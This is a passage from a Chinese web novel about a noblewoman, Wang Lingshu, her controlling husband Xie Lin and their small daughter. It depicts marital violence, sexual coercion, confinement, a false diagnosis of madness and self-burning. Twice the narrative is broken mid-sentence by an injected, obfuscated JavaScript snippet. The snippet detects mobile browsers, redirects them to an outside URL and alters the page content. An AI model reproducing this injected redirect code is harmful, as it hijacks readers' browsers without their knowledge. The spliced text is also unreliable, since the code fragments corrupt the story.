两人又玩了会儿,谢幼训便止不住犯困,趴在王令淑怀中打哈欠。只是舍不得睡觉,时不时强打起精神,与王令淑说些琐碎的事情。 王令淑道:“睡吧。” 说着,她自己将谢庭训放到了床上,自己也随之躺下。 女童心满意足,滚入王令淑怀中,攥着王令淑的衣襟陷入睡梦。王令淑将她搂在怀中,却有些舍不得睡,静静看着谢幼训的睡颜。 看着看着,心里渐渐想另一件事。 傅忱让她去谢凛书房中取的账簿,看起来牵扯不小。 她恨谢凛不假。 但要是这样做了,最终牵扯到的人,绝对不可能只有谢凛。谢凛如今领着尚书令一职,稍有变动,整个朝野都会随之动荡,要洗牌的岂止是谢家。 更令她踟蹰的是,她不知道如今具体的局势。 王令淑不知道此事后续是好是坏。 她瞧着谢幼训静谧的睡颜,心中竟然生出一丝退缩,她有些害怕毁了女儿的人生。 王令淑闭上眼。 可心中有更迫切的念头,在反复告诉她。傅忱能为了她,数度险些丧命,不会害她和岁岁。他为了她筹谋准备多年,她应当相信他,不该犹豫。 她必须信任傅忱。 如果她将傅忱推开,就再也不会有人为她着想。 …… 不知不觉,王令淑睡了过去。 雨夜,王令淑睡得好很多,更何况谢幼训身上暖和,令她十分安稳。 只是不知道为什么。 梦中的王令淑,感觉到越来越冷,整个人好似无法呼吸。骤然的噩梦越来越危险,王令淑挣扎许久,豁然之间睁开了眼睛。 房间里没有点灯。 床前漆黑的身影,将微弱的天光也遮了个干净。 冰冷的手握在她的脖颈上,似乎只是轻轻摩挲,实则一下一下仿佛要将她掐死。王令淑呼吸紊乱,双眼模糊,只觉得那漆黑冷峻的身影粘稠森寒。 笼罩着她,几乎要将她吞没,危险得王令淑脊背发寒。 她挣扎起来。 湿冷的空气陡然呛入胸腔,王令淑意识清明,闻见谢凛身上的气味。对方仿佛轻笑了声,冰冷修长的指尖往下,拖住了她的后脖颈,迫使她身体靠近他。 外头闪电划过。 王令淑短暂地看到一张森冷阴郁的面容。 黑沉沉的眸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617341|171633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苍白的面容。 还滴着水的乌黑长发低垂,像是毒蛇一般,蜿蜒着涌向她。王令淑猝不及防,便与他肌肤相贴,对上了男人阴郁含笑的眼眸。 谢凛低声道:“阿俏。” 王令淑心头巨跳,佯装镇定:“怎么了?” 他不说话。 湿漉冰冷的吻落在她耳垂边,带着细密的啃噬,一下比一下剧烈。王令淑顾及着身侧的谢幼训,不敢出声,忍耐着伸手推他。 谢凛攥住她的手腕,扣在玉枕上。 他似乎连平日那副斯文温润的假面也不要了,一味往下探索,仿佛要将她整个人都撕碎了吞吃下去一般。挣扎间,王令淑半边身体暴露在空气中,冷得哆嗦。 身侧的谢幼训动了一下,伸手要搂王令淑的腰。 被谢凛掐着的腰僵住,王令淑睁开眼,脱口而出:“谢凛,你是禽兽吗?” 对方动作微顿。 谢凛抬起苍白湿漉的脸,脸色有些潮红,面无表情将她的衣衫拢上,松了她的手。他转过身去,将床边的灯点了,走过来掀开她的被褥。 谢幼训睡得脸颊绯红,呼吸匀称。 咂了咂嘴,八爪鱼般抱住王令淑,还在她怀中蹭了蹭。 谢凛伸手到她腋下,把她拎了出来。 谢幼训睡得正熟,迷迷糊糊睁开眼睛,看见是谢凛,倒也乖乖环住他:“阿父。” 谢凛没应。 他抱着谢幼训,径直往外走。 离开了王令淑,谢幼训一下子清醒过来,大声道:“我要和阿母一起睡!” 谢凛仍是当没听见。 王令淑坐在床头,看着潮湿的被褥,太阳穴有些发疼。她自己起身,将这床被褥换了,才朝着门外看过去,果然谢凛正进来。 夜雨嘈杂,他又没撑伞。 谢凛周身森寒,皮肤冷白,雨水在他衣摆下汇成河流。 显得很是古怪。 “过来。” 王令淑:“你发什么疯?” “过来。”谢凛说得很慢。 王令淑自顾自坐在床边,淡淡瞧着他:“我跟玉盏说过,往后你来,需要先通传。” 谢凛接下外衣,慢条斯理挂在架子上。 “玉盏是谁的人,你还不知道?”他内里的衣裳是湿的,也没换,径直走过来,“阿俏,你以为我会让她们听你的?” 王令淑没说话。 她确实对谢凛存了一些试探与幻想。 ……真是可笑。 “知道了。” “就只是知道?”谢凛摩挲着她的下颌,指腹划过肌肤,落在她的唇瓣上,“还是说,你早就想在我的眼皮子底下,做些什么?” 王令淑陡然警觉起来,抬眼看他。 男人仍是那副斯文儒雅的神情,仿佛要倾身来吻她,可手早已攥紧了她的脖颈,迫使她抬头。 王令淑没有躲。 她仰起脸,闭上了眼。 冰冷的呼吸落在她面上,游移不定。 不知道过了多久,谢凛松开了她,冷声道:“睡你的。” “你怎么了?” 谢凛反倒冷笑起来:“怎么,指望幸灾乐祸?” 王令淑别过脸去:“随你。” 她的脸骤然被掰过来,攥得生疼,挣扎全然没有用。王令淑恼怒起来,抬脚朝他下身踢过去,却被他攥住了脚踝,整个人掀翻到了床上。 谢凛欺身而上,见她逼到角落,不得挣扎。 冰冷滴水的乌发落在她脸上,毒蛇般游移往下,他却没有继续动作。两人靠在床尾的角落里,几乎脸贴着脸,呼吸交缠。 “我梦见你与别人……” 那两个字,他咬得很重,简直下流。 王令淑冷笑:“是么?” “阿俏。”谢凛凑近她耳边,缠绵悱恻的情人私语般,“你若背叛我,我不会放过你。即便是做鬼,我也会缠着你,生生世世。” 王令淑闭了眼。 “有死的一日,倒也好。” 人死如灯灭,谁能缠着谁呢? 谢凛将她圈入怀中,湿冷的身体紧贴着她,衣摆发丝缠绕。王令淑任由着他,阖上眼睡觉,只是越睡越冷,梦中不自觉地往温暖处贴近。 这一觉睡得很糟糕。 第二日雨停了。 王令淑有些昏昏沉沉,玉盏摸了摸她的额头,说是有些低烧。原本是要换干的被褥,让王令淑躺着休息的,但王令淑有些躺不住。 帐中满是谢凛周身的味道。 不知道是不是出于报复,一大早,他便让人将他的东西全收拾了搬过来。 屋内四处,都放着谢凛的物件。 院子又出不去,她只得在门外的院内走走。 兴许是下雨的缘故,院中漂浮着一层潮湿粘腻的腥味,不大好闻。檐下水沟中的积水,大约是生了藻荇的缘故,折射出淡红的血色。 不多想,还以为是满沟流淌的是鲜血。 王令淑闻得有些不舒服。 她起了身,无意间走到了矮松前,便随意扫了一眼两只孔雀。 雨一停,孔雀也精神了。 王令淑撒了一把松子过去,两只孔雀也懒得理,只顾着埋头啄食地上的肉块。倒也奇怪,王令淑从未听闻过,孔雀竟然是吃肉的。 空气中的腥味,怕不是这些肉块散出的。 11. 决裂 王令淑收回视线。 她闲来无事,绕着院子走了一圈,将所有的婢女全都看了一遍。 没有昨夜送信的女婢。 这几年,她院中的人流动不大。王令淑虽然不多留心,但多少都打过照面,有些印象。 可昨日的婢女,她确实从未见过。 而院外又守着这么些人,外面的下人,等闲不能随意进来。且守着的这些人,都是谢凛平素用的人,被买通的概率也不大。 既然进来了,便不该这么快就出去了。 王令淑觉得有些古怪。 “夫人!”玉盏见她站在窗下盯着孔雀,似乎有些惊慌,连忙快步上前,不着痕迹说,“昨夜下了一夜的雨,满是土腥味,夫人闻着不舒服。还是进去吧,里头熏了香,好闻些。” 确实不大好闻。 见着孔雀吃肉,又横流着血色的水,她想起话本子里吓人的桥段。 王令淑点点头。 玉盏回头冲粗使女婢骂道:“眼瞎了不成?喂这么多,孔雀哪里吃得下,赶紧收拾干净了!” 粗使婢子忙忙应是。 王令淑下意识回过头,粗使婢子是往日常见的。只是此刻显得尤为惊惧抗拒,不敢直视地去取盛肉的铜钵,却因为颤抖打翻了铜钵。 掉下来的…… 好似是一截染血的手指。 玉盏后退了步,晃过王令淑的视线,轻声道:“郎主今日休沐,唤了女郎去书房,说是考校学问。女郎出发前,遣了人来给夫人递话呢。” 王令淑再看过去,什么都没有。 方才出现的,似乎是她因为想象,产生的恐怖幻觉。 她近来似乎越发恍惚了。 王令淑不再多想,听了玉盏的话,犹豫片刻还是说:“煮几盏梨子水,我带着去书房。” 大抵小孩子都害怕父亲,尤其是害怕考校学问的父亲。谢幼训每次被谢凛叫去书房,问及学得如何,或是翻看近日的课业,都如临大敌。 好几次都黏在她身边,不肯走。 谢幼训这是指望她过去撑腰呢,又或者,有她在害怕得好些。 玉盏仿佛松了口气。 “天冷了,厨下隔几日便煮,今日正好有。”玉盏吩咐人去取来装好,自己则翻出夹绒的厚披风,给王令淑罩上了,“郎主见了小女郎写的诗词,很是高兴呢。” 王令淑不由笑出声:“是啊,他可附庸不了这样的风雅。” 玉盏只好闭嘴。 收拾好,一路行至谢凛书房。 书房内惯来是不许外人入的,玉盏自觉退下,只剩下王令淑自己进去。谢凛坐在红木漆案前翻看着什么,手里握着把戒尺,俊美斯文的面上神情冷峻威严。 谢幼训垂着小脑袋,双手交握,大气不敢出。 王令淑:“喝口梨子水。” 听到母亲的声音,谢幼训当即支棱起脑袋,眼睛发亮地看着她。 谢凛放下戒尺:“好。” 谢幼训喜笑颜开。 喝了梨子水,谢凛合上了手里的书册,对谢幼训道:“最近跟着夫子还算用心,今日放你半日假。但不许自满,日后还需更为勤勉,早些读正经的四书,不必管闺阁女子那些路子。” 王令淑眼皮微抬,看向谢凛。 谢凛一直把谢幼训当儿子来教养,格外严格,从前王令淑只以为,他更喜欢男孩一些。 如今珠郎玉郎一对双生子摆在那,她也回过味来了。 谢凛是想要个嫡子,做他的继承人。 可惜她和谢幼训,一个占着他正妻的位置,一个占着他嫡女的位置。他的心上人反而名不正言不顺,养在外头当了多年外室,自己的儿子更是令人耻笑的外室子。 所以蕊娘恨她,双生子也恨她。 谢凛心中大抵也是如此。 王令淑有些恍惚,看着父女二人,一时之间又觉得难以言说地恶心。从前,她只以为自己是个笑话,想着谢凛对谢幼训还算用心…… 可谢幼训在谢家算什么? 这些好,不过是谢凛无法亲手培养双生子,所以移情几分,才把谢幼训当儿郎教养。 她们母子,倒都是一个笑话。 “岁岁知道了,阿父。”谢幼训此时神情轻松了许多,眨巴着眼睛,略有些得意似的,“夫子说,我学得比别人都要快呢!” 王令淑轻声说:“不必贪快,慢些用心些也好。” 谢幼训点点头。 “你比旁人都聪明,自然快。”大约是考校完了,谢凛收了先前冷酷威严的神情,但仍是严肃,“四书难读,不流于表面。多学多读,日后也难被人忽悠。” “可岁岁聪明呀,怎么会被忽悠?” 谢凛扫了王令淑一眼,似笑非笑:“太过聪明,喜欢自以为是。” 王令淑心口一窒。 “去玩吧。” 谢幼训出去,书房不可避免地安静下来。 不等王令淑开口,谢凛便道:“南面有座山,是你王家祖上留下来的基业,还有几位先祖葬在此处。只是前些年有人煽动旁支,与你家打了许久官司,害死了不少人,眼下王珩想要将这座山收回来。” 他眸中带了兴味,淡瞧着她。 等她开口求他。 这座山的官司不是什么大事,但偏偏对王家,很重要。若是此时收回这座山,那王家主支的威势便立了下来,暗中觊觎的诸人,掂量着谢凛的重量,也就再也不敢对王家做什么。 如此,王珩才算是坐稳了家主之位。 谢凛拿准了,王令淑一定会求他。 “你要我做什么?” 果然如此,只是王令淑问得太过平淡,没有了往日的种种复杂情绪。谢凛的视线扫过她的面容,神情骤然阴沉了下来,又握住了戒尺。 片刻,他又风轻云淡起来。 “你猜。” “我没力气与你猜哑谜。” “那好。” 谢凛道:“来人!把这封书信驳了,送回王家。” 王令淑端起瓷盏,喝了口梨子水。 梨子水凉透了,喝起来甜腻齁人,难以下咽。王令淑拂开瓷盏,想要起身就走,或许是站得太猛了一些,她才站起来便眼前发黑。 她被人拽了一把。 王令淑剧烈挣扎起来,抓起瓷盏往他脸上砸。 瓷片碎裂,溅得到处都是。 “疯了吗?王令淑。”谢凛的声音气急败坏,却又压抑着怒意,“你求人便是这样?” 王令淑简直要发笑,她想要求他吗? 但到了现在,她甚至与他吵架都懒得吵了。谢凛就是个疯子,分明恶心她们母女,却又非要逼着她和他演相敬如宾的戏码,佯装是一家三口。 这人简直无耻变态到了极点。 “我求了你又能怎么样?” “我今日低下头来求你,明日你就要我跪着来求你,到了后日呢?” “到了后日,你又要我怎么样求你?是你说的那样,跪地摇尾乞怜,或是出卖色相出卖来求你赏赐我一些什么?” 王令淑盯着谢凛冷笑。 谢凛抬手来摸她的脸,轻笑了一下。 “换做别人,再怎么跪地摇尾乞怜,出卖色相……”他靠近了她,似乎是盯着猎物般瞧着她,吻掉她满面的泪水,“我都不会施舍一丝眼神。” 谁叫她是王令淑。 换做任何一个人,敢对他如此放肆,早已死得不能再死了。 王令淑挣扎,却被他按在了书案上。 满桌的笔墨纸砚,数不清的书卷全都被打乱,胡乱散落了满地,光亮漆黑的几案更衬得王令淑肤色白皙,面容秾丽。 谢凛捧起她的脸,低低发笑。 “阿俏。” “我今日不跟你提条件。” “我自己取。” 王令淑被他掼到书案上,后脑被砸得嗡嗡作响,半边身体都麻木了。她眼前一阵白一阵黑,看不起谢凛在哪,只能伸手胡乱摸索。 她抓到了一块石镇纸。 谢凛似乎靠近了,王令淑用尽浑身力气,将镇纸砸了过去。 嘭! 巨响过后,谢凛松了手。王令淑眼前终于看清了一些,镇纸似乎没砸到谢凛,但是半面多宝阁上的器物算是摔了个粉碎。 不知道为什么,王令淑松了口气。 又觉得不快意。 应当砸死谢凛才好。 王令淑:“……离我远些。” 谢凛掐住她的脖子,却没太用力,只是迫使她看着他:“既然如此,从今往后,你与岁岁便不必再见了。王令淑,你既然傲气,就傲气到底。” 王令淑没有说话。 她想了一想,说道:“好。” 谢凛骤然松了手。 王令淑移过脸来,看着他:“你可以日日将我软禁,只是中馈我也不再管,你想要交给谁就交给谁。只是岁岁只能由你自己带,不许交给别的女人。” 谢凛的脸色阴沉得仿佛要滴水。 王令淑自顾自:“岁岁虽是女郎,却聪颖绝顶。你若是好好培养,将来谢氏门风说不准还要仰仗她,想必你不会蠢到将她交给后宅妇人磋磨……” “王令淑,谁准你了?” 被打断,王令淑也并不意外。 她看向眼前的谢凛。 这么些年下来,他于仕途平步青云,到眼下已然大权在握。大概是过得顺心,又有权势滋补,比起从前只沉稳深邃了不少,更添威仪矜贵。 眉眼还是差不离的眉眼。 恍惚间,王令淑仿佛又看见站在丹桂树下,朝她谦逊温和行礼的少年郎。 她拎着漂亮的螃蟹灯笼,手忙脚乱抢诗令。 少年郎回过头来,灯火明昧间朝她浅笑,礼貌扶了她一把。流光溢彩的灯光照入他的眼眸,使得少年郎在她眼中,仿佛发光一般柔和俊雅。 可眼前人,终究不是记忆里的人。 王令淑的目光黯淡下去。 她闭了闭眼。 “我与你还有几分情分。”说这话的时候,王令淑心中有些好笑,她和谢凛眼下剩下的不过是仇恨于厌恶,然而说出口的话还是尽量柔和,“有些事,我不想一再听到,忍不住与你反复磋磨。” 蕊娘的存在,倒也只是情理之中。 可那对双生子…… 只要想到,便忍不住作呕。 尤其是,谢凛将谢幼训当作这对双生子的替代品,更是让她恶心到了极致。 “你……” 屋外响起匆忙的脚步声,不一会儿,玉盏匆匆进来:“郎主,夫人,女郎她落水了!” 王令淑下意识站起来,朝外走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618939|171633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉盏看了她一眼,女人鬓发散乱,衣衫不整,满面都是泪痕。她忧心忡忡看了王令淑一眼,后头的话,便有些不敢说出口。 “怎么会落水?” 玉盏轻声道:“没有大碍,才落下去便救上来了。” 王令淑匆匆赶到。 女童周身湿漉漉,正坐在地上哭,乳母抱她也不肯起来。见到了王令淑和谢凛,她才长大了嘴,嚎哭出声,大声道:“阿母!阿父!” 王令淑心都要碎了。 她扑过去,将人搂入怀中,仔细检查。 谢幼训浑身湿透了,身体冷得发颤,一味地哭。王令淑呵斥乳母,抱着谢幼训进了房间,洗了热水澡,换上乳母急急忙忙送来的干衣裳。 哄了许久,谢幼训才停止哭泣。 但没了往日的生气,女童缩在她怀中,半梦半醒的模样。 王令淑问乳母:“到底是怎么回事?” 乳母结结巴巴,不敢回答。 王令淑看向玉盏,玉盏脸色犹豫,扑通一声跪下。 四周一片寂静。 门被人踹开,谢凛周身气场阴冷,扫视过所有人。他一脚踹在乳母身上,将人踹出好远,冷声逼问道:“聋了吗?到底是怎么回事!” 玉盏膝行上前,轻声道:“没人瞧见是怎么回事。但是,奴婢隐约……隐约……” “说!” 玉盏咬牙道:“瞧见两个身高到郎主腰高的小童的背影,身穿着一样的衣衫,在墙边一闪而过,很快没入了假山中去。” 这么小的孩子,谢家不会买来做仆人。 更何况,谢家哪来穿着一样衣衫一样高的仆人?几乎不必想,便知道是蕊娘的那对珠郎玉郎,更何况除了他们,也不会有人对谢幼训有这样的恶意。 王令淑本能开口:“是……” 玉盏抢在她前面,说道:“奴婢并未看清!请郎主尽快彻查,找出暗害女郎之人,务必让有心之人受到责罚!” 王令淑恍恍惚惚,看向怀中的谢幼训。 女童本就身子骨纤细单薄,此时脸色苍白,更显得脆弱。 谢凛道:“去查。” “只是去查?”明眼人都知道是谁,可谢凛却这样装糊涂,高高拿起轻轻放下,“你明知道……” “都下去!” 屋内顿时没有了旁人,门也被合上。 谢幼训半醒不醒,此时也被吓得睁开了眼,揉了揉眼睛,茫然看向王令淑:“阿母?” “这是你亲生的女儿!”王令淑抱着谢幼训,看着谢幼训萎靡苍白的神态,只觉得心在滴血,“你若不心疼,当初就不要生下她。” 谢幼训早慧,怯怯看向谢凛:“阿父?” 谢凛不耐烦:“闭嘴。” 察觉到谢幼训哆嗦一下,王令淑的火气蹭地冒出来,她抱起谢庭训便要出门。只是她今日几番折腾,早已没了多余的力气,才一站起来又是一番天旋地转。 王令淑抱着谢幼训,直直摔在了地上。 谢幼训抓着她的衣襟,小声道:“我可以自己走,不要阿母抱。” 隐秘的难堪令王令淑忘了要说些什么,做些什么。 “听话些,别让你阿母担心。”谢凛单手将谢幼训抱起来,伸手来扶王令淑,嗓音仿佛带着几分不耐烦,“此事我会查清楚处置,你不要……” 王令淑拂开他的手。 她自己扶着桌椅,站起身。 在谢凛漆黑的瞳仁底,王令淑瞧见了自己此刻的形容。乌黑长发散乱低垂,碎发黏在她满是泪痕的脸颊上,更衬得她面容苍白憔悴,鬼魅一般疯癫狼狈。 王令淑静静看了会儿,轻笑。 “谢凛,我对你还是……” 她轻蔑吐出几个字:“高看了。” 谢凛是将她看囚禁控制得像是禽兽一般,可这只是因为他厌憎她,想要折磨她。可这谢家其余地方,他的心上人、亲生子,想要做些也是轻而易举。 左右伤害的不是他在乎的人。 即便谢幼训是他的亲生女儿,又算得了什么呢? 若不是王令淑早早占了他的正妻位置,又哪来的谢幼训。兴许如王令淑一般,无辜的谢幼训,在谢凛眼中也是个碍眼的绊脚石。 能死在珠郎玉郎手中,供他们泄愤,也算有些用处。 “岁岁,来阿母这里。”王令淑彻底没了和谢凛多说话的兴趣,哪怕只是多看他一眼,都只觉得恶心,“这人不是你的阿父,以后不必再叫他了。” 谢幼训为难看着两人。 谢凛冷声道:“不是……” “闭嘴!” 王令淑夺走谢幼训,抱在怀中,推开了房门。 “玉盏,过来。” 玉盏哀求看向谢凛,一动不动。 哦,玉盏是谢凛的人,王令淑并不意外。她扫视四周,意识到整个谢家宅院,都不会有一个人会听她的命令,不由冷笑一声。 难怪。 难怪双生子要杀谢幼训,跑得这样干净利落。 王令淑抱着谢幼训,手在抖。 她想了想,回过头。 “我与岁岁不碍你们的眼,从今日起,我们搬去西边的院子住。至于王家如何,你若愿意信守承诺,便信守承诺,你若不愿意……” 王令淑笑出声:“我又能如何?” 12. 癔症 玉盏失声道:“夫人!” 她朝着王令淑苦苦摇头,眼含哀求。 王令淑不再废话,扭头便走。但门外早已守满了仆婢,将书房堵得水泄不通,拦住了她的去路。 “让开!” 谢凛从房内走出来:“夫人病糊涂了,去请大夫来。” 仆人连忙应:“是。” “你先前的病话,我不当真。”谢凛冷峻的面容浮现一丝温柔,伸手要来替她抱谢幼训,仿佛是亲密的一家三口似的,“是为夫不该与你置气,倒忘了你病得厉害,别闹。” 他没能抱走谢幼训,手便靠近她的侧脸。 矜贵的眉眼低垂,情深意重。 “我没疯,让开。”王令淑想要绕过谢凛,却被攥住了胳膊,不得已怒目而视,“自欺欺人的,是你!你才是一个疯子,既要还要,粉饰太平。” 谢凛没有说话。 王令淑被他看得脊骨发凉。 “你当真要与我闹翻?” 王令淑心中警惕,面上却挑眉笑开:“你还觉得,我在与你说笑不成?我只要看见你,便觉得恶心,早就迫不及待要与你恩断义绝,两不相见。” “让人先把岁岁带下去。” “做梦。”王令淑信不过谢凛,更信不过谢家的人,她不能让刚刚的事情再发生一遍,“你若想与我谈……” 话没说完,玉盏已经扑了过来。 不只是玉盏和寻常婢女,谢幼训身侧的乳母、婢子,一拥而上。片刻的功夫,哭得撕心裂肺的谢幼训便被乳母抱着,往住处去。 而王令淑则被绑了手脚,丢入书房中。 她像是一条被丢上岸的鱼,剧烈挣扎,鬓发散乱。气恼地想要撞开身边的人,却没有半分作用,反倒是越发将自己闹成了一个疯子。 “夫人,保重。” 玉盏对她行礼,低垂着脸,看不起神色如何,便已然退了下去。 屋内骤然安静。 屋外倒还有声音,似乎是大夫被请来了,正在门外与谢凛说话。王令淑从未被如此羞辱过,也从未如此无力过,她的手里一张筹码也没有…… 没有人在乎她如何。 她也没有与谢凛谈判的资格。 谢凛想要让她当个疯子,她便是个疯子。 王令淑呆呆坐了一会,她站起身。大概是谢凛早些时,总在灯下读书到半夜的缘故,他的眼睛算不得好,白日里书房仍点着蜡烛。 她艰难挪过去,手腕举到烛火上。 滚烫的火焰舔舐着她的肌肤,尖锐的疼痛拉扯着王令淑的神经,反倒令她的心念越发清晰。她这样与谢凛吵闹,是全无意义的事情,她手里必须得有筹码。 刀、碎瓷片、剪刀、镇纸,都很难杀人。 但权势可以。 在权势面前,任你三头六臂,也能如纸糊一般轻易被摧毁。 王令淑疼得身体颤抖,双手用力,绷断了被烧灼得发脆的绢帛。她疼得生理性的泪水如断了线,模糊的视线中,她不断睃巡谢凛书房里的布置。 做了几年夫妻,也算熟悉。 她很快确定了如何寻找,开始翻找起来。 一面翻找,王令淑一面将书房内的古玩雅供撞翻,横冲直撞闹得声音不止。终于,她找到了傅忱信中所说的账簿,收入怀中,弯腰去捡地上的镇纸。 王令淑捡了好几次,捡不起来。 门这时候正被推开。 谢凛冷着脸,直直看向她。视线看向她手里的镇纸上,很快往上,很快落在她被燎出一连串水泡的手腕上,眉头深深蹙起。 他一言不发,大步走过来。 王令淑还没来得及躲,便被他攥住胳膊。 “你当真疯了不成!” 王令淑反唇相讥:“”我疯没疯,谢司徒岂不清楚?” 谢凛没理她。 “劳烦大夫。”他嘴里虽然说着劳烦,语气却阴沉得仿佛要杀人,冷盯着大夫,“拙荆实在顽劣,手上的伤势实在严重,先别叫她疼再说别的。” 大夫连忙应是,上前给王令淑看。 王令淑没有再闹。 她确实疼得要命,犯不着自己为难自己。 倒是整个书房,被她打砸冲撞得彻底天翻地覆,书卷器物到处都是,乱得瞧不出原貌。谢凛对此不以为意,似乎没有多想,只垂眼看着她的手腕。 见他确实没察觉,王令淑才稍稍松懈。 她垂下眼,看自己的手腕。 肌肤烧得黑红,一连串油光的水泡,有些还被蹭破了。确实很难看,血水混着模糊的皮肉,是在触目惊心。 王令淑自己想不到自己能对自己这么狠。 她从前最是娇气。 “我先为夫人清洗伤口,稍后涂上止疼的膏药。”大夫胆战心惊地要了清水,便兢兢业业为王令淑清洗伤口,还不忘偷瞧一眼谢凛,“这膏药乃是老夫改良过的配方,比寻常止疼的烫伤膏好上百倍不止,涂上之后夫人必然不会感觉到疼痛!” 谢凛闻言,眉间褶皱果然稍松。 只是还没等大夫松口气,他便冷笑一声,淡扫王令淑:“让她长长教训。” 大夫拿膏药的手一顿。 一时之间,不知道拿还是不拿。 王令淑迎上他的目光,轻扯了一下嘴角,不言语。 她自己伸手,要药膏。 大夫视线扫过两人,触到谢凛时,干干一笑,做贼似的将药膏递给王令淑。王令淑自顾自,颤抖着剧痛的双手给自己涂药,时不时戳到伤口。 她疼得额头冒汗,咬牙继续涂抹。 谢凛好整以暇,冷眼旁观。 大夫倒是不大自在,试探着说:“老夫给夫人把个脉?” “我不……” 王令淑疼得失了声,被攥住的手腕疼得仿佛要烧起来,她下意识挣扎。然而谢凛早有预料一般,将她的手按在桌案上,死死扣住。 对上王令淑的目光,似警告似挑衅般的冰冷。 大夫连忙上前把脉。 “夫人郁结于心,又兼体弱血虚,或有疯癫臆念……” “也是合理。” “依老夫所见,夫人这是犯了癔症。” 王令淑冷笑:“我不是疯子。” 大夫打眼瞧一瞧王令淑,对谢凛道:“癔症别于普通病症,尤为特别的一条,便是病人绝不认为自己有病。夫人眼下,定要好好治疗,万不可大意。” 谢凛松了王令淑的手,颇为诚恳道:“劳烦多费心。若能早些痊愈,必备下重金以谢。” 装得像模像样的。 不知道的,还以为他们是一双情深意重的恩爱夫妻。 大夫说了几句不敢,转而道:“此病不宜见人,夫人还是要以静养为重。” 谢凛垂眼看王令淑,眸光有些复杂,温声道:“我会看好她。” 大夫又开了方子,叮嘱好忌口之类的诸项事宜,才出言告辞。送走了大夫,书房内便静得有些可怕,空气都仿佛要凝固起来。 谢凛摸她的脸。 “阿俏,等你不与我吵闹的那天,病便会好。” 这样的威胁,令王令淑心中冷笑不止。然而她此时此刻,确实是没有多余的力气和他争吵,于是忍了又忍,退步道:“岁岁呢?你把她怎么样了?” 谢凛:“等你病好些,我便让她来看你。” 王令淑侧过脸去,狠心道:“不见来见我。她如今才四岁,再长大些,四五岁前的记忆便能忘了个干干净净。忘了自己有个疯子母亲这么羞耻的事情,想来也不是什么坏事。” 她看不见谢凛的神情。 不知道过了多久,才听见谢凛哂笑一声。 “亲生的女儿都能舍弃,当真是冷血。”谢凛攥紧了她的胳膊,将她扯到自己跟前,逼问她,“你就不怕你不在,自己的女儿受人欺辱?” “受谁欺辱?”王令淑反问。 不等谢凛回答,她已经讽刺道:“蕊娘?双生子?还是你这个做父亲的,亲自来杀自己的女儿?” 谢凛看着她,意味不明:“你不管?” 怎么可能舍得不管,王令淑想起方才谢幼训被抱走时的哭泣,都觉得心口像是被人捏碎了挤裂了一般难受。可眼前的谢凛,却是个最卑鄙而聪明的人,能轻易找到她的软肋。 利用十兄、珩郎、岁岁,轻易拿捏她。 事了,还要在她的伤口上撒一把盐,告诉她,若是听话便不会被一次一次揭开伤疤。如此反反复复,势必要将她的脊骨打碎、骄傲撕烂,做他谢凛掌中的傀儡。 王令淑看他:“生死有命。” 谢凛冷笑出声。 他看着她,像是欣赏珍贵的器物,又像是在打量一块猪肉的肥瘦。好一会儿,才站起身,居高临下瞧着她道:“你可不要后悔。” 王令淑不理他。 她的脑子有些乱,她没料到谢凛下作到如此地步,竟要把她“变成”一个疯子。疯子便疯子吧,谢家都是谢凛的人,她再怎么挣扎也无用。 在谢家,谢凛说什么便是什么。 比起成为一个疯子,她更担心谢幼训。谢家诸人都听信谢凛的话,若是谢凛有意维护谢幼训,那对双生子根本无法近谢幼训的身,更遑论跑得那样干净…… 当时除了玉盏,都没有一个人敢出来指认双生子。 她很担心谢幼训。 但仅靠向谢凛服软,没有用。 王令淑想了很多东西,思绪越来越混乱,等到回过神来时天已经黑了。四周一片漆黑,门窗紧闭,四周寂静得可怕,她好像一个人被遗弃到了这里。 她起身去拍门,没有人应她。 王令淑靠着门坐下,糊里糊涂又不知道过了多久,才发现月已过中天。 屋外连灯笼的光都不见。 只有苍白的月光,像是深秋的严霜般洒在她身上,散发彻骨的寒意。 王令淑又冷又饿,伸手拍门拍了许久,仍是没有人应。她拍得有些绝望,恍惚坐下,才看到一侧放着已经冷透的饭食,还有一碗汤药。 她饿得肠腹烧灼不已,胡乱扒了几碗饭。 然后咀嚼在口中,喉间又涌出熟悉的哽塞感,肠胃绞着往上翻涌。王令淑弯起身子干呕,呕了许久,却只呕出一些清水来。 王令淑已经这样很久了。 她呆呆坐了会,自己摸黑去了侧间。 谢凛位高权重,朝中事事都要经他的手,忙起来整日都呆在 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王令淑闻着饭香,又感觉到肠胃饥饿的烧灼感,颓然坐下。她捧起一侧干净的清水,埋头喝了几口,才觉得恢复了一些力气。 她等了许久。 玉盏的脚步声才在门外响起。 “夫人。”玉盏重新端来了一份饭食,面容苍白,嗓音轻柔,“是素粥,没放一点荤腥进去。熬得软糯好入口,夫人应当吃得下。” 粥水的米香诱人,王令淑没再闹,端了粥水小口小口喝。 玉盏似乎是松了口气。 王令淑喝了小半碗,喝不下了,问道:“岁岁怎么样?” “女郎她无大碍。”玉盏的眸光似乎闪烁了一下,低下头去,声音轻得仿佛是心虚,“只是昨日落了水,天气本来就冷,又受了惊吓,夜里发了高热……” 王令淑手里的粥碗险些磕翻,好在玉盏似乎早有预料,接了过去。 